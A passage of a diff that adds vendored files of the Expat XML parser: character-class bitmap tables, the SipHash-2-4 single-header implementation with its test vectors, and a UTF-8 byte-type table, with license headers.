0x0000003F, 0x00000000, 0xFEF02596, 0x200D6CAE, 0x0000001F, 0x00000000,
0x00000000, 0x00000000, 0xFFFFFEFF, 0x000003FF, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0xFFFFFFFF, 0xFFFF003F, 0x007FFFFF, 0x0007DAED, 0x50000000,
0x82315001, 0x002C62AB, 0x40000000, 0xF580C900, 0x00000007, 0x02010800,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0x0FFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0x03FFFFFF, 0x3F3FFFFF, 0xFFFFFFFF, 0xAAFF3F3F, 0x3FFFFFFF,
0xFFFFFFFF, 0x5FDFFFFF, 0x0FCF1FDC, 0x1FDC1FFF, 0x00000000, 0x00004C40,
0x00000000, 0x00000000, 0x00000007, 0x00000000, 0x00000000, 0x00000000,
0x00000080, 0x000003FE, 0xFFFFFFFE, 0xFFFFFFFF, 0x001FFFFF, 0xFFFFFFFE,
0xFFFFFFFF, 0x07FFFFFF, 0xFFFFFFE0, 0x00001FFF, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0x0000003F, 0x00000000, 0x00000000,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0x0000000F,
0x00000000, 0x00000000, 0x00000000, 0x07FF6000, 0x87FFFFFE, 0x07FFFFFE,
0x00000000, 0x00800000, 0xFF7FFFFF, 0xFF7FFFFF, 0x00FFFFFF, 0x00000000,
0xFFFF0000, 0xFFFFFFFF, 0xFFFFFFFF, 0xF80001FF, 0x00030003, 0x00000000,
0xFFFFFFFF, 0xFFFFFFFF, 0x0000003F, 0x00000003, 0xFFFFD7C0, 0xFFFFFFFB,
0x547F7FFF, 0x000FFFFD, 0xFFFFDFFE, 0xFFFFFFFF, 0xDFFEFFFF, 0xFFFFFFFF,
0xFFFF007B, 0xFFFFFFFF, 0xFFFF199F, 0x033FCFFF, 0x00000000, 0xFFFE0000,
0x027FFFFF, 0xFFFFFFFE, 0xFFFE007F, 0xBBFFFFFB, 0xFFFF0016, 0x000707FF,
0x00000000, 0x07FFFFFE, 0x0007FFFF, 0xFFFF03FF, 0xFFFFFFFF, 0x7CFFFFFF,
0xFFEF7FFF, 0x03FF3DFF, 0xFFFFFFEE, 0xF3FFFFFF, 0xFF1E3FFF, 0x0000FFCF,
0xFFF99FEE, 0xD3C5FDFF, 0xB080399F, 0x0003FFCF, 0xFFF987E4, 0xD36DFDFF,
0x5E003987, 0x001FFFC0, 0xFFFBAFEE, 0xF3EDFDFF, 0x00003BBF, 0x0000FFC1,
0xFFF99FEE, 0xF3CDFDFF, 0xB0C0398F, 0x0000FFC3, 0xD63DC7EC, 0xC3BFC718,
0x00803DC7, 0x0000FF80, 0xFFFDDFEE, 0xC3EFFDFF, 0x00603DDF, 0x0000FFC3,
0xFFFDDFEC, 0xC3EFFDFF, 0x40603DDF, 0x0000FFC3, 0xFFFDDFEC, 0xC3FFFDFF,
0x00803DCF, 0x0000FFC3, 0x00000000, 0x00000000, 0x00000000, 0x00000000,
0xFFFFFFFE, 0x07FF7FFF, 0x03FF7FFF, 0x00000000, 0xFEF02596, 0x3BFF6CAE,
0x03FF3F5F, 0x00000000, 0x03000000, 0xC2A003FF, 0xFFFFFEFF, 0xFFFE03FF,
0xFEBF0FDF, 0x02FE3FFF, 0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x1FFF0000, 0x00000002,
0x000000A0, 0x003EFFFE, 0xFFFFFFFE, 0xFFFFFFFF, 0x661FFFFF, 0xFFFFFFFE,
0xFFFFFFFF, 0x77FFFFFF,
};
static const unsigned char nmstrtPages[] = {
0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x00, 0x00, 0x09, 0x0A, 0x0B,
0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x13, 0x00, 0x14, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x15, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x18,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
};
static const unsigned char namePages[] = {
0x19, 0x03, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x00, 0x00, 0x1F, 0x20, 0x21,
0x22, 0x23, 0x24, 0x25, 0x10, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x13, 0x26, 0x14, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x27, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x18,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
};
+393
View File
@@ -0,0 +1,393 @@
/* ==========================================================================
* siphash.h - SipHash-2-4 in a single header file
* --------------------------------------------------------------------------
* Derived by William Ahern from the reference implementation[1] published[2]
* by Jean-Philippe Aumasson and Daniel J. Berstein.
* Minimal changes by Sebastian Pipping and Victor Stinner on top, see below.
* Licensed under the CC0 Public Domain Dedication license.
*
* 1. https://www.131002.net/siphash/siphash24.c
* 2. https://www.131002.net/siphash/
* --------------------------------------------------------------------------
* HISTORY:
*
* 2020-10-03 (Sebastian Pipping)
* - Drop support for Visual Studio 9.0/2008 and earlier
*
* 2019-08-03 (Sebastian Pipping)
* - Mark part of sip24_valid as to be excluded from clang-format
* - Re-format code using clang-format 9
*
* 2018-07-08 (Anton Maklakov)
* - Add "fall through" markers for GCC's -Wimplicit-fallthrough
*
* 2017-11-03 (Sebastian Pipping)
* - Hide sip_tobin and sip_binof unless SIPHASH_TOBIN macro is defined
*
* 2017-07-25 (Vadim Zeitlin)
* - Fix use of SIPHASH_MAIN macro
*
* 2017-07-05 (Sebastian Pipping)
* - Use _SIP_ULL macro to not require a C++11 compiler if compiled as C++
* - Add const qualifiers at two places
* - Ensure <=80 characters line length (assuming tab width 4)
*
* 2017-06-23 (Victor Stinner)
* - Address Win64 compile warnings
*
* 2017-06-18 (Sebastian Pipping)
* - Clarify license note in the header
* - Address C89 issues:
* - Stop using inline keyword (and let compiler decide)
* - Replace _Bool by int
* - Turn macro siphash24 into a function
* - Address invalid conversion (void pointer) by explicit cast
* - Address lack of stdint.h for Visual Studio 2003 to 2008
* - Always expose sip24_valid (for self-tests)
*
* 2012-11-04 - Born. (William Ahern)
* --------------------------------------------------------------------------
* USAGE:
*
* SipHash-2-4 takes as input two 64-bit words as the key, some number of
* message bytes, and outputs a 64-bit word as the message digest. This
* implementation employs two data structures: a struct sipkey for
* representing the key, and a struct siphash for representing the hash
* state.
*
* For converting a 16-byte unsigned char array to a key, use either the
* macro sip_keyof or the routine sip_tokey. The former instantiates a
* compound literal key, while the latter requires a key object as a
* parameter.
*
* unsigned char secret[16];
* arc4random_buf(secret, sizeof secret);
* struct sipkey *key = sip_keyof(secret);
*
* For hashing a message, use either the convenience macro siphash24 or the
* routines sip24_init, sip24_update, and sip24_final.
*
* struct siphash state;
* void *msg;
* size_t len;
* uint64_t hash;
*
* sip24_init(&state, key);
* sip24_update(&state, msg, len);
* hash = sip24_final(&state);
*
* or
*
* hash = siphash24(msg, len, key);
*
* To convert the 64-bit hash value to a canonical 8-byte little-endian
* binary representation, use either the macro sip_binof or the routine
* sip_tobin. The former instantiates and returns a compound literal array,
* while the latter requires an array object as a parameter.
* --------------------------------------------------------------------------
* NOTES:
*
* o Neither sip_keyof, sip_binof, nor siphash24 will work with compilers
* lacking compound literal support. Instead, you must use the lower-level
* interfaces which take as parameters the temporary state objects.
*
* o Uppercase macros may evaluate parameters more than once. Lowercase
* macros should not exhibit any such side effects.
* ==========================================================================
*/
#ifndef SIPHASH_H
#define SIPHASH_H
#include <stddef.h> /* size_t */
#include <stdint.h> /* uint64_t uint32_t uint8_t */
/*
* Workaround to not require a C++11 compiler for using ULL suffix
* if this code is included and compiled as C++; related GCC warning is:
* warning: use of C++11 long long integer constant [-Wlong-long]
*/
#define _SIP_ULL(high, low) ((((uint64_t)high) << 32) | (low))
#define SIP_ROTL(x, b) (uint64_t)(((x) << (b)) | ((x) >> (64 - (b))))
#define SIP_U32TO8_LE(p, v) \
(p)[0] = (uint8_t)((v) >> 0); \
(p)[1] = (uint8_t)((v) >> 8); \
(p)[2] = (uint8_t)((v) >> 16); \
(p)[3] = (uint8_t)((v) >> 24);
#define SIP_U64TO8_LE(p, v) \
SIP_U32TO8_LE((p) + 0, (uint32_t)((v) >> 0)); \
SIP_U32TO8_LE((p) + 4, (uint32_t)((v) >> 32));
#define SIP_U8TO64_LE(p) \
(((uint64_t)((p)[0]) << 0) | ((uint64_t)((p)[1]) << 8) \
| ((uint64_t)((p)[2]) << 16) | ((uint64_t)((p)[3]) << 24) \
| ((uint64_t)((p)[4]) << 32) | ((uint64_t)((p)[5]) << 40) \
| ((uint64_t)((p)[6]) << 48) | ((uint64_t)((p)[7]) << 56))
#define SIPHASH_INITIALIZER \
{ 0, 0, 0, 0, {0}, 0, 0 }
struct siphash {
uint64_t v0, v1, v2, v3;
unsigned char buf[8], *p;
uint64_t c;
}; /* struct siphash */
#define SIP_KEYLEN 16
struct sipkey {
uint64_t k[2];
}; /* struct sipkey */
#define sip_keyof(k) sip_tokey(&(struct sipkey){{0}}, (k))
static struct sipkey *
sip_tokey(struct sipkey *key, const void *src) {
key->k[0] = SIP_U8TO64_LE((const unsigned char *)src);
key->k[1] = SIP_U8TO64_LE((const unsigned char *)src + 8);
return key;
} /* sip_tokey() */
#ifdef SIPHASH_TOBIN
# define sip_binof(v) sip_tobin((unsigned char[8]){0}, (v))
static void *
sip_tobin(void *dst, uint64_t u64) {
SIP_U64TO8_LE((unsigned char *)dst, u64);
return dst;
} /* sip_tobin() */
#endif /* SIPHASH_TOBIN */
static void
sip_round(struct siphash *H, const int rounds) {
int i;
for (i = 0; i < rounds; i++) {
H->v0 += H->v1;
H->v1 = SIP_ROTL(H->v1, 13);
H->v1 ^= H->v0;
H->v0 = SIP_ROTL(H->v0, 32);
H->v2 += H->v3;
H->v3 = SIP_ROTL(H->v3, 16);
H->v3 ^= H->v2;
H->v0 += H->v3;
H->v3 = SIP_ROTL(H->v3, 21);
H->v3 ^= H->v0;
H->v2 += H->v1;
H->v1 = SIP_ROTL(H->v1, 17);
H->v1 ^= H->v2;
H->v2 = SIP_ROTL(H->v2, 32);
}
} /* sip_round() */
static struct siphash *
sip24_init(struct siphash *H, const struct sipkey *key) {
H->v0 = _SIP_ULL(0x736f6d65U, 0x70736575U) ^ key->k[0];
H->v1 = _SIP_ULL(0x646f7261U, 0x6e646f6dU) ^ key->k[1];
H->v2 = _SIP_ULL(0x6c796765U, 0x6e657261U) ^ key->k[0];
H->v3 = _SIP_ULL(0x74656462U, 0x79746573U) ^ key->k[1];
H->p = H->buf;
H->c = 0;
return H;
} /* sip24_init() */
#define sip_endof(a) (&(a)[sizeof(a) / sizeof *(a)])
static struct siphash *
sip24_update(struct siphash *H, const void *src, size_t len) {
const unsigned char *p = (const unsigned char *)src, *pe = p + len;
uint64_t m;
do {
while (p < pe && H->p < sip_endof(H->buf))
*H->p++ = *p++;
if (H->p < sip_endof(H->buf))
break;
m = SIP_U8TO64_LE(H->buf);
H->v3 ^= m;
sip_round(H, 2);
H->v0 ^= m;
H->p = H->buf;
H->c += 8;
} while (p < pe);
return H;
} /* sip24_update() */
static uint64_t
sip24_final(struct siphash *H) {
const char left = (char)(H->p - H->buf);
uint64_t b = (H->c + left) << 56;
switch (left) {
case 7:
b |= (uint64_t)H->buf[6] << 48;
/* fall through */
case 6:
b |= (uint64_t)H->buf[5] << 40;
/* fall through */
case 5:
b |= (uint64_t)H->buf[4] << 32;
/* fall through */
case 4:
b |= (uint64_t)H->buf[3] << 24;
/* fall through */
case 3:
b |= (uint64_t)H->buf[2] << 16;
/* fall through */
case 2:
b |= (uint64_t)H->buf[1] << 8;
/* fall through */
case 1:
b |= (uint64_t)H->buf[0] << 0;
/* fall through */
case 0:
break;
}
H->v3 ^= b;
sip_round(H, 2);
H->v0 ^= b;
H->v2 ^= 0xff;
sip_round(H, 4);
return H->v0 ^ H->v1 ^ H->v2 ^ H->v3;
} /* sip24_final() */
static uint64_t
siphash24(const void *src, size_t len, const struct sipkey *key) {
struct siphash state = SIPHASH_INITIALIZER;
return sip24_final(sip24_update(sip24_init(&state, key), src, len));
} /* siphash24() */
/*
* SipHash-2-4 output with
* k = 00 01 02 ...
* and
* in = (empty string)
* in = 00 (1 byte)
* in = 00 01 (2 bytes)
* in = 00 01 02 (3 bytes)
* ...
* in = 00 01 02 ... 3e (63 bytes)
*/
static int
sip24_valid(void) {
/* clang-format off */
static const unsigned char vectors[64][8] = {
{ 0x31, 0x0e, 0x0e, 0xdd, 0x47, 0xdb, 0x6f, 0x72, },
{ 0xfd, 0x67, 0xdc, 0x93, 0xc5, 0x39, 0xf8, 0x74, },
{ 0x5a, 0x4f, 0xa9, 0xd9, 0x09, 0x80, 0x6c, 0x0d, },
{ 0x2d, 0x7e, 0xfb, 0xd7, 0x96, 0x66, 0x67, 0x85, },
{ 0xb7, 0x87, 0x71, 0x27, 0xe0, 0x94, 0x27, 0xcf, },
{ 0x8d, 0xa6, 0x99, 0xcd, 0x64, 0x55, 0x76, 0x18, },
{ 0xce, 0xe3, 0xfe, 0x58, 0x6e, 0x46, 0xc9, 0xcb, },
{ 0x37, 0xd1, 0x01, 0x8b, 0xf5, 0x00, 0x02, 0xab, },
{ 0x62, 0x24, 0x93, 0x9a, 0x79, 0xf5, 0xf5, 0x93, },
{ 0xb0, 0xe4, 0xa9, 0x0b, 0xdf, 0x82, 0x00, 0x9e, },
{ 0xf3, 0xb9, 0xdd, 0x94, 0xc5, 0xbb, 0x5d, 0x7a, },
{ 0xa7, 0xad, 0x6b, 0x22, 0x46, 0x2f, 0xb3, 0xf4, },
{ 0xfb, 0xe5, 0x0e, 0x86, 0xbc, 0x8f, 0x1e, 0x75, },
{ 0x90, 0x3d, 0x84, 0xc0, 0x27, 0x56, 0xea, 0x14, },
{ 0xee, 0xf2, 0x7a, 0x8e, 0x90, 0xca, 0x23, 0xf7, },
{ 0xe5, 0x45, 0xbe, 0x49, 0x61, 0xca, 0x29, 0xa1, },
{ 0xdb, 0x9b, 0xc2, 0x57, 0x7f, 0xcc, 0x2a, 0x3f, },
{ 0x94, 0x47, 0xbe, 0x2c, 0xf5, 0xe9, 0x9a, 0x69, },
{ 0x9c, 0xd3, 0x8d, 0x96, 0xf0, 0xb3, 0xc1, 0x4b, },
{ 0xbd, 0x61, 0x79, 0xa7, 0x1d, 0xc9, 0x6d, 0xbb, },
{ 0x98, 0xee, 0xa2, 0x1a, 0xf2, 0x5c, 0xd6, 0xbe, },
{ 0xc7, 0x67, 0x3b, 0x2e, 0xb0, 0xcb, 0xf2, 0xd0, },
{ 0x88, 0x3e, 0xa3, 0xe3, 0x95, 0x67, 0x53, 0x93, },
{ 0xc8, 0xce, 0x5c, 0xcd, 0x8c, 0x03, 0x0c, 0xa8, },
{ 0x94, 0xaf, 0x49, 0xf6, 0xc6, 0x50, 0xad, 0xb8, },
{ 0xea, 0xb8, 0x85, 0x8a, 0xde, 0x92, 0xe1, 0xbc, },
{ 0xf3, 0x15, 0xbb, 0x5b, 0xb8, 0x35, 0xd8, 0x17, },
{ 0xad, 0xcf, 0x6b, 0x07, 0x63, 0x61, 0x2e, 0x2f, },
{ 0xa5, 0xc9, 0x1d, 0xa7, 0xac, 0xaa, 0x4d, 0xde, },
{ 0x71, 0x65, 0x95, 0x87, 0x66, 0x50, 0xa2, 0xa6, },
{ 0x28, 0xef, 0x49, 0x5c, 0x53, 0xa3, 0x87, 0xad, },
{ 0x42, 0xc3, 0x41, 0xd8, 0xfa, 0x92, 0xd8, 0x32, },
{ 0xce, 0x7c, 0xf2, 0x72, 0x2f, 0x51, 0x27, 0x71, },
{ 0xe3, 0x78, 0x59, 0xf9, 0x46, 0x23, 0xf3, 0xa7, },
{ 0x38, 0x12, 0x05, 0xbb, 0x1a, 0xb0, 0xe0, 0x12, },
{ 0xae, 0x97, 0xa1, 0x0f, 0xd4, 0x34, 0xe0, 0x15, },
{ 0xb4, 0xa3, 0x15, 0x08, 0xbe, 0xff, 0x4d, 0x31, },
{ 0x81, 0x39, 0x62, 0x29, 0xf0, 0x90, 0x79, 0x02, },
{ 0x4d, 0x0c, 0xf4, 0x9e, 0xe5, 0xd4, 0xdc, 0xca, },
{ 0x5c, 0x73, 0x33, 0x6a, 0x76, 0xd8, 0xbf, 0x9a, },
{ 0xd0, 0xa7, 0x04, 0x53, 0x6b, 0xa9, 0x3e, 0x0e, },
{ 0x92, 0x59, 0x58, 0xfc, 0xd6, 0x42, 0x0c, 0xad, },
{ 0xa9, 0x15, 0xc2, 0x9b, 0xc8, 0x06, 0x73, 0x18, },
{ 0x95, 0x2b, 0x79, 0xf3, 0xbc, 0x0a, 0xa6, 0xd4, },
{ 0xf2, 0x1d, 0xf2, 0xe4, 0x1d, 0x45, 0x35, 0xf9, },
{ 0x87, 0x57, 0x75, 0x19, 0x04, 0x8f, 0x53, 0xa9, },
{ 0x10, 0xa5, 0x6c, 0xf5, 0xdf, 0xcd, 0x9a, 0xdb, },
{ 0xeb, 0x75, 0x09, 0x5c, 0xcd, 0x98, 0x6c, 0xd0, },
{ 0x51, 0xa9, 0xcb, 0x9e, 0xcb, 0xa3, 0x12, 0xe6, },
{ 0x96, 0xaf, 0xad, 0xfc, 0x2c, 0xe6, 0x66, 0xc7, },
{ 0x72, 0xfe, 0x52, 0x97, 0x5a, 0x43, 0x64, 0xee, },
{ 0x5a, 0x16, 0x45, 0xb2, 0x76, 0xd5, 0x92, 0xa1, },
{ 0xb2, 0x74, 0xcb, 0x8e, 0xbf, 0x87, 0x87, 0x0a, },
{ 0x6f, 0x9b, 0xb4, 0x20, 0x3d, 0xe7, 0xb3, 0x81, },
{ 0xea, 0xec, 0xb2, 0xa3, 0x0b, 0x22, 0xa8, 0x7f, },
{ 0x99, 0x24, 0xa4, 0x3c, 0xc1, 0x31, 0x57, 0x24, },
{ 0xbd, 0x83, 0x8d, 0x3a, 0xaf, 0xbf, 0x8d, 0xb7, },
{ 0x0b, 0x1a, 0x2a, 0x32, 0x65, 0xd5, 0x1a, 0xea, },
{ 0x13, 0x50, 0x79, 0xa3, 0x23, 0x1c, 0xe6, 0x60, },
{ 0x93, 0x2b, 0x28, 0x46, 0xe4, 0xd7, 0x06, 0x66, },
{ 0xe1, 0x91, 0x5f, 0x5c, 0xb1, 0xec, 0xa4, 0x6c, },
{ 0xf3, 0x25, 0x96, 0x5c, 0xa1, 0x6d, 0x62, 0x9f, },
{ 0x57, 0x5f, 0xf2, 0x8e, 0x60, 0x38, 0x1b, 0xe5, },
{ 0x72, 0x45, 0x06, 0xeb, 0x4c, 0x32, 0x8a, 0x95, }
};
/* clang-format on */
unsigned char in[64];
struct sipkey k;
size_t i;
sip_tokey(&k, "\000\001\002\003\004\005\006\007\010\011"
"\012\013\014\015\016\017");
for (i = 0; i < sizeof in; ++i) {
in[i] = (unsigned char)i;
if (siphash24(in, i, &k) != SIP_U8TO64_LE(vectors[i]))
return 0;
}
return 1;
} /* sip24_valid() */
#ifdef SIPHASH_MAIN
# include <stdio.h>
int
main(void) {
const int ok = sip24_valid();
if (ok)
puts("OK");
else
puts("FAIL");
return ! ok;
} /* main() */
#endif /* SIPHASH_MAIN */
#endif /* SIPHASH_H */
+66
View File
@@ -0,0 +1,66 @@
/*
__ __ _
___\ \/ /_ __ __ _| |_
/ _ \\ /| '_ \ / _` | __|
| __// \| |_) | (_| | |_
\___/_/\_\ .__/ \__,_|\__|
|_| XML parser
Copyright (c) 1997-2000 Thai Open Source Software Center Ltd
Copyright (c) 2000 Clark Cooper <coopercc@users.sourceforge.net>
Copyright (c) 2002 Fred L. Drake, Jr. <fdrake@users.sourceforge.net>
Copyright (c) 2017 Sebastian Pipping <sebastian@pipping.org>
Licensed under the MIT license:
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/* 0x80 */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0x84 */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0x88 */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0x8C */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0x90 */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0x94 */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0x98 */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0x9C */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0xA0 */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0xA4 */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0xA8 */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0xAC */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0xB0 */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0xB4 */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0xB8 */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0xBC */ BT_TRAIL, BT_TRAIL, BT_TRAIL, BT_TRAIL,
/* 0xC0 */ BT_LEAD2, BT_LEAD2, BT_LEAD2, BT_LEAD2,
/* 0xC4 */ BT_LEAD2, BT_LEAD2, BT_LEAD2, BT_LEAD2,
/* 0xC8 */ BT_LEAD2, BT_LEAD2, BT_LEAD2, BT_LEAD2,
/* 0xCC */ BT_LEAD2, BT_LEAD2, BT_LEAD2, BT_LEAD2,
/* 0xD0 */ BT_LEAD2, BT_LEAD2, BT_LEAD2, BT_LEAD2,
/* 0xD4 */ BT_LEAD2, BT_LEAD2, BT_LEAD2, BT_LEAD2,
/* 0xD8 */ BT_LEAD2, BT_LEAD2, BT_LEAD2, BT_LEAD2,
/* 0xDC */ BT_LEAD2, BT_LEAD2, BT_LEAD2, BT_LEAD2,
/* 0xE0 */ BT_LEAD3, BT_LEAD3, BT_LEAD3, BT_LEAD3,
/* 0xE4 */ BT_LEAD3, BT_LEAD3, BT_LEAD3, BT_LEAD3,
/* 0xE8 */ BT_LEAD3, BT_LEAD3, BT_LEAD3, BT_LEAD3,
/* 0xEC */ BT_LEAD3, BT_LEAD3, BT_LEAD3, BT_LEAD3,
/* 0xF0 */ BT_LEAD4, BT_LEAD4, BT_LEAD4, BT_LEAD4,
/* 0xF4 */ BT_LEAD4, BT_NONXML, BT_NONXML, BT_NONXML,
/* 0xF8 */ BT_NONXML, BT_NONXML, BT_NONXML, BT_NONXML,
/* 0xFC */ BT_NONXML, BT_NONXML, BT_MALFORM, BT_MALFORM,
+45
View File
@@ -0,0 +1,45 @@
/*
__ __ _
___\ \/ /_ __ __ _| |_
/ _ \\ /| '_ \ / _` | __|
| __// \| |_) | (_| | |_
\___/_/\_\ .__/ \__,_|\__|
|_| XML parser
Copyright (c) 2000 Clark Cooper <coopercc@users.sourceforge.net>
Copyright (c) 2002 Greg Stein <gstein@users.sourceforge.net>
Copyright (c) 2005 Karl Waclawek <karl@waclawek.net>
Copyright (c) 2017-2021 Sebastian Pipping <sebastian@pipping.org>
Licensed under the MIT license:
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
